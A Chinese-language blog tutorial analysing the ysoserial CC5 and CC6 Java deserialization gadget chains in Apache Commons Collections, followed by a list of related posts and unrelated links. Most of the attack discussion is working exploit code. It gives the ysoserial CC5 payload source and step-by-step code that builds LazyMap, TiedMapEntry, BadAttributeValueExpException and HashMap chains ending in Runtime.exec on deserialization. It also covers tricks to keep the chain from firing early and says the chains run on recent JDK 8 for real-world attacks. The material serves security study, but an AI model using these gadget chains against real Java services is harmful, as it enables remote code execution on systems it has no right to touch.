YsoSerial 工具常用Payload分析之CC5、6(三)
前言
这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload:
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
前面到LazyMap这一段我们已经非常熟悉了,恶意的Transform放到了LazyMap中,只要有其他地方调用LazyMap的get()方法即可触发恶意Transform。

通过IDEA的Find Usages功能,可以看到有上千个地方有对lazymap调用,而YsoSerial CC5选择了TiedMapEntry。

TiedMapEntry
为什么CC5 选择使用TiedMapEntry呢,看一下TiedMapEntry的源码,其中getValue()有对map调用get()方法,那getValue()就能触发代码执行,捎带的本类中还有equals 、hashCode、toString 有调用getValue,也就是说在TiedMapEntry 能触发代码执行的有 equals 、hashCode、toString、getValue这四个方法,其中toString和equals 某些场景下能够被隐式调用。



利用链挖掘
将恶意类绑定到TiedMapEntry后,因为可以触发的方法变多了,同时特别是toString和equel方法更加通用所以,只要找到一个类满足以下条件,那RCE就能完成了:
- 该类有继承可以被序列化标志的Serializable接口,或者其父类有继承Serializable
- 该类的readObject方法中有调用可控变量的
toString、equel、hashCode、getValue
满足这两个条件其实有很多,对应的分别有
调用toString的BadAttributeValueExpException 对应CC5
调用hashcode的HashMap,对应CC6
一、BadAttributeValueExpException(CC5)
先来分析下CC5的BadAttributeValueExpException,打开源码定位readObject,非常明显,有对序列化变量val的toString()操作。

看一下这个val长啥样:

val是一个Object类型的私有化变量,那思路就很清晰,只要把我们构造的TiedMapEntry 通过反射赋值给val即可。
实操
第一步 构造恶意的LazyMap
// 第一步 构造恶意lazyMap
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
第二步 构造恶意的TiedMapEntry
// 第二步 构造恶意的 TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");
第三步 构造利用类 BadAttributeValueExpException
这里有个细节,虽然能够直接通过构造方法赋值给val,但在构造方法中有对入参做toString操作,那得到的val就是String而不是map了,所以只能通过反射的方式去赋值给val

// 第三步 构造 BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);
第四步 反序列化验证
// 第四步 反序列化验证
String path = ExpUtils.serialize(badAttributeValueExpException);
ExpUtils.unserialize(path);
执行一下,命令成功执行:

HashMap
上面以BadAttributeValueExpException作为利用,下面看一下HashMap#readObject的源码,HashMap中有对反序列化的key值做hash操作:

跟进一下hash(),调用了key的hashCode()方法,结合我们对TiedMapEntry的分析,这里只要将key赋值为TiedMapEntry,在反序列化时即可完成RCE。

实操
第一步 构造恶意TiedMapEntry
这里有一点和前面不一样,传递给chainedTransformer的是一个 new ConstantTransformer(1) 相当于空操作的fakeTransformer,这是为了避免后面在hashmap在put时会执行代码。
// 第一步 构造恶意 tiedMapEntry
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransformer = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");
第二步 绑定到hashmap上
Map mapStringHashMap = new HashMap<>();
mapStringHashMap.put(tiedMapEntry,"outerKey");
第三步 移除第一个hashmap的entryKey
这里可以想一下为什么要这么操作。
因为HashMap不光在readobject时会执行hash操作,在put的时候也会计算hash,这样put的时候第一个hashmap就已经生成entryKey的key了,而在反序列化的时候系统判断存在就不会再执行transform方法,也就不会触发代码执行。

其实这里为什么在已经传递给tiedMapEntry后还能修改第一个hashmap并生效也说明了,Java中传递给TiedMapEntry只是一个引用,可以在外面进行修改。
evilMap.remove("entryKey");
第四步 把恶意的transfomer通过反射重新赋值给chainedTransformer并反序列化验证
ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
String path = ExpUtils.serialize(mapStringHashMap);
ExpUtils.unserialize(path);
执行结果:

总结
本篇文章在前文LazyMap的基础上进一步通过TiedMapEntry封装,从而带来了CC5与CC6的反序列化利用链,值得说明的是,CC5、CC6目前没有版本限制,执行非常通用,我在最近的JDK1.8.261下都能成功运行,是在实战中比较好利用的链。
YsoSerial 工具常用Payload分析之CC5、6(三)的更多相关文章
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
- YsoSerial 工具常用Payload分析之CC1
前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...
- YsoSerial 工具常用Payload分析之Common-Collections7(四)
前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- Java应用常用性能分析工具
Java应用常用性能分析工具 好的工具有能有效改善和提高工作效率或加速分析问题的进度,笔者将从事Java工作中常用的性能工具和大家分享下,如果感觉有用记得投一票哦,如果你有好的工具也可以分享给我 工具 ...
- Fiddler抓取https请求 & Fiddler抓包工具常用功能详解
Fiddler抓取https请求 & Fiddler抓包工具常用功能详解 先来看一个小故事: 小T在测试APP时,打开某个页面展示异常,于是就跑到客户端开发小A那里说:“你这个页面做的有问 ...
- SoapUI、Jmeter、Postman三种接口测试工具的比较分析
前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...
- SoapUI、Jmeter、Postman三种接口测试工具的比较分析——灰蓝
前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...
随机推荐
- DHCP的原理与配置
DHCP 动态主机配置协议(Dynamic Host Configuration Protocol) 可以减少管理员的工作量 避免用户手工配置网络参数时造成的地址冲突 DHCP报文类型: 报文类型 ...
- C++ QT安装教程2021
第一步 去官网下载 https://download.qt.io/archive/qt/ 第二步 next 然后 我是注册的账号 注意密码的格式,要求至少7位,包含大小写字母和数字 第三步 点击下一步 ...
- 基于Colab Pro & Google Drive的Kaggle实战
原文:https://hippocampus-garden.com/kaggle_colab/ 原文标题:How to Kaggle with Colab Pro & Google Drive ...
- 性能工具之Jmeter压测Hprose RPC服务
概述 Hprose(High Performance Remote Object Service Engine),国人开发的一个远程方法调用的开源框架.它是一个先进的轻量级的跨语言跨平台面向对象的高性 ...
- 通过helm部署EFK收集应用日志,ingress-nginx日志解析。
前段时间看了马哥的k8s新书,最后几章讲了下EFK,尝试部署了下,很多问题, 这里改进下,写个笔记记录下吧. 准备工作 所有组件都通过helm3部署,选添加几个仓库. helm repo add bi ...
- 用户RFM模型及应用
RMF含义 R(Recency)(用户粘性,越小越好):用户最近一次交易时间的间隔.R值越大,表示用户交易发生的日期越久,反之则表示用户交易发生的日期越近 F(Frequency)(用户忠诚度,越大越 ...
- Prometheus+Grafana企业监控系统
Prometheus+Grafana企业监控系统 作者 刘畅 实验配置: 主机名称 Ip地址 controlnode 172.16.1.70/24 slavenode1 172.16.1.71/24 ...
- 96、linux之rpm包定制
96.1.rpm包定制介绍: 编译安装软件,优点是可以定制化安装目录.按需开启功能等,缺点是需要查找并实验出适合的编译参数,诸如MySQL之类的软件编译耗时过长. yum安装软件,优点是全自动化安装, ...
- Linux下的SSH,你知道多少?
Openssh介绍 OpenSSH 是 SSH (Secure Shell) 协议的免费开源实现.SSH协议族可以用来进行远程控制, 或在计算机之间传送文件.而实现此功能的传统方式,如telnet(终 ...
- CentOS-Docker搭建远程监控服务器指标
注:远程监控服务器指标,可查看.CPU.内存.网络信息等,搭建依赖Docker环境,可参考:yum安装Docker环境 服务端:Grafana(可视化展示) + Prometheus(数据源,配置客户 ...